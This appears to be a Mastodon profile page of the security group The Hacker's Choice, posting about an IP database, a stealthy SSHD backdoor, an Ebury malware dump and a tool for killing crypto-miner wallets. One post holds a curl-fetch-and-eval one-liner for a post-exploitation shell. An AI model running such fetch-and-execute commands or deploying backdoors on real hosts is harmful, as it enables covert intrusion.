The Hacker‘s Choice

@thc@infosec.exchange
2.9K Followers
25 Following
248 Posts
The oldest and still active security research group - The Hacker's Choice. (Founded 1995) this is a group account, so different people post! :)
githubhttps://github.com/hackerschoice/
githubhttps://github.com/vanhauser-thc/

THC Release 💥: The world’s largest IP<>Domain database: https://ip.thc.org

All forward and reverse IPs, all CNAMES and all subdomains of every domain. For free.

Updated monthly.

Try: curl https://ip.thc.org/1.1.1.1

Raw data: https://ip.thc.org/docs/bulk-data-access

(The fine work of messede 👌)

What does everyone think? Need feedback before release tomorrow :)

Can anyone test my *SMALLEST* SSHD backdoor?

- Survives updates.
- Does not use ~/.ssh/authorized_keys or PAM modules.
- Does not create any new file.

Just SSHD trickery.

Source at https://thc.org/tips

Stealth died 😢 A member of Team-Teso, Phrack staff, and many other groups. A true hacker—perhaps as true as a hacker can ever be. WE MISS YOU. 🩷

More: https://thc.org/404

<stealth> we had joy we had fun we had a rootshell on a sun.

Ebury Version 1.8.2.e6

Memory dump from live processes now available (sshd and systemd-udev). De-crypted and De-obfuscated. Enjoy.

{eval,"$({curl,-SsfL,https://github.com/hackerschoice/hackshell/raw/main/hackshell.sh})"}

### hackshell now detects Ebury ###

EBury SSHD backdoor?? on 400,000 hosts?

Let's fuck around and find out. (Why +s on the .so file???)

Dissect, understand & ridicule. Join the group effort at https://thc.org/ops or SSH straight into the server and check ~/ebury:

ssh -o "SetEnv SECRET=lYQkdQHIuQyTJngVtIskqRLx" root@adm.segfault.net (password is 'segfault')

INTERVIEW of "MB" WhereWarlocksStayUpLate:

https://wherewarlocksstayuplate.com/interview/mohammed-bagha/

You have inspired many. We are fans:⚡️🌊🎠

https://wherewarlocksstayuplate.com/interview/mohammed-bagha/

🇩🇪 German speaking only: THC member and @phrack staff on @heiseonline about Phrack's 40th, hacking and life in general.

Inject LUA scripts into a running Linux Process like a boss, by stealth/team-teso:

https://c-skills.blogspot.com

Friend of ours is testing his PoC to DISABLE XMR mining pools.

Revenge for all those pesty XMR miners installed by script kiddies. Tool destroys the ENTIRE wallet: stopping all xmr-rig miners worldwide (of the same wallet).

Looking for more WALLETs: https://wallet.hellknight.xyz/walletinfo1.php

Please help and save a baby seal.